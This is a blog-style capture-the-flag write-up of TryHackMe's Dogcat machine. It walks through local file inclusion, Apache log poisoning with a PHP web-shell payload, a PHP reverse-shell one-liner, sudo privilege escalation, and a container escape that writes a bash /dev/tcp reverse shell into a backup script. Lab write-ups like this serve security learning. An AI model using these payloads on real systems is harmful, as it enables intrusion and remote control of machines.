Hey, everybody,
Here is my first writeup post about a CTF, and for the moment, I propose you my solution of the Dogcat challenge on the TryHackMe website.

The goal of this machine is to get 4 flags, by reading the description of the machine and the twitter post of the box, we may already know that we will have to use a LFI and escape a docker container.


When we launch the machine we can directly access it via a web browser, to make sure we are on the right page to operate, we can launch an nmap scan.

root@kali:~# nmap -sT -T5 -A
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 09:09 UTC
Nmap scan report for ip-10-10-214-114.eu-west-1.compute.internal (
Host is up (0.00052s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
MAC Address: 02:42:89:24:24:BC (Unknown)
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.10 - 3.13 (94%), Linux 3.8 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.52 ms ip-10-10-214-114.eu-west-1.compute.internal (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

Only the port 80 is open with an Apache 2.4.38 web server, when you go to the web page, you can see a web page which offers to see a picture of dogs or cats.

The first interesting information that we can retrieve is the parameter, which actually suggests that a LFI is possible, and the version of PHP which is in 7.4.3, an interesting information because with this version it is not possible to exploit a LFI with a null byte (%00) or a path truncation.

The first trivial test is directly to try to load the file /etc/passwd :

But the site forces the user to use the keyword dog or cat, let’s try again:

Exploiting LFI & First flag

Hum interesting, the error message shows that a LFI seems possible, however impossible to load the /etc/passwd file because the .php extension is automatically added, to get around that we could have used the null byte %00 character or a path truncation but as I said, it’s not possible with this version of PHP, fetching the index.php file to start with and see if it’s possible to get additional information.

But if you try to directly load the index.php file via the URL you will get an error :

This is because the site is trying to include the index.php page a second time, the trick here is to use the php wrapper php://filter and convert the content to base64. Once recovered it is enough to decode it online or directly in your console :

Ok it’s possible to retrieve the content of a php file, with a bit of guessing we can retrieve the first flag by reaching the page flag.php and decoding the retrieved content as for the page index.php via the page

Gaining shell & flag 2

By looking for a little other file we don’t find much interesting, let’s resume our file index.php, we can see this interesting little piece of code:

For those who are not comfortable with PHP, we can translate this as : The ext parameter will be equal to the ext GET parameter, otherwise we’ll use .php. And if the GET parameter view contains the value dog or cat we’ll look for the page that will contain the value of the GET parameter view and ext (so either the value provided in the URL or .php if no value is provided)

Interesting… Let’s try again to load the contents of /etc/passwd by including the GET parameter ext and leaving it empty:

Ok good, we got it :

We realize that it doesn’t contain much interesting stuff, I was hoping to find a specific user in it but that’s not the case, so we’ll certainly have to get a shell as wwww-data and find a way to become root.

In our case, if we look for the techniques to obtain a shell with a LFI have fallen on several techniques, for those that seems exploitable in our case I retained :

  • RCE via Apache log poisonning
  • RCE via /proc/self/environ

In our case, it is not possible to load the /proc/self/environ file, which begins to confirm the fact that we are partitioned in a docker container. Let’s look at the first case, to succeed we need 2 things:

  • Be able to access the apache log file, which is accessible via the url
  • Inject content into it: Can be done by changing our user-agent.

note: I found the file /var/log/apache2/access.log by testing the default paths where the Apache log file can be found.

Hop, we launch burp, reload the page and intercept the request to include the payload <?php system($_GET['cmd']);?> in the user-agent, this will have the effect that each time we load the file /var/log/apache2/access. log with the GET parameter cmd of our command will be interpreted since the code snippet <?php system($_GET['cmd']);?> will be interpreted in the page since it is PHP …

So like I said, we inject our payload:

Then we can use it by loading the file /var/log/apache2/access.log and using the GET parameter cmd with the value of the command we want to use :

To be a little more comfortable, it is possible to obtain a shell, we know that PHP is used on the machine so we will directly use a php payload to obtain a reverse-shell via the command php -r '$sock=fsockopen("{IP_KALI}"",1234);exec("/bin/sh -i <&3 >&3 2>&3");' such as here (don’t forget to listen on the defined port) :

And then we get our first access on the server and we can retrieve the second flag:

PrivEsc & flag 3

For this task I didn’t have to look for a long time, a little sudo -l allows me to see that a command is executable as root:

A simple search on https://gtfobins.github.io/ shows that it is possible to raise your privileges with the command sudo env /bin/bash, once root you get the third flag:

Container escape & flag 4

Ok more than the last flag, in order to validate that we are in a docker container we can use the command hostname which indicates a weird name that indicates a container name, we can also see the dockerenv file at the root, other methods allow us to confirm that we are in a container such as checking cgroups, …

After searching quite a lot, including the different possible exploits I realized that it was a bad technique, because a lot of commands are not usable on the server (such as basic commands like wget etc…) which left me thinking that this was not the right track.

So I manually enumerated the machine, looking for elements that could help me escape the container such as a script via the find / -type f -name *.sh command, the first result is the file /opt/backups/backup.sh, hum interesting, looking at its contents :

Interesting, I don’t know much about docker but from what I understand, it’s the root user of the host machine that makes a backup, I may be wrong but I understand that there is a /root/backup mount point on the host machine to the container.

As it is a backup script, we can imagine that it is executed periodically, so we can modify its contents to try to get a shell on the host machine.

So we will have to modify the backup.sh file with the following content :

bash -i >& /dev/tcp/{KALI IP}/8080 0>&1

And tap into our Kali machine.

Here we go, root on the host machine, we just need to retrieve the last flag:


The [TryHackMe] site (https://tryhackme.com) is a good site in general I think, I’ve been chaining the different machines for about a week now and I’ve learned a lot, here again it’s an interesting challenge because it’s not a very basic LFI, it requires to get the source code and understand it to be able to go further.

It’s also the first time I’ve encountered a challenge where I had to drop a container, which is really interesting.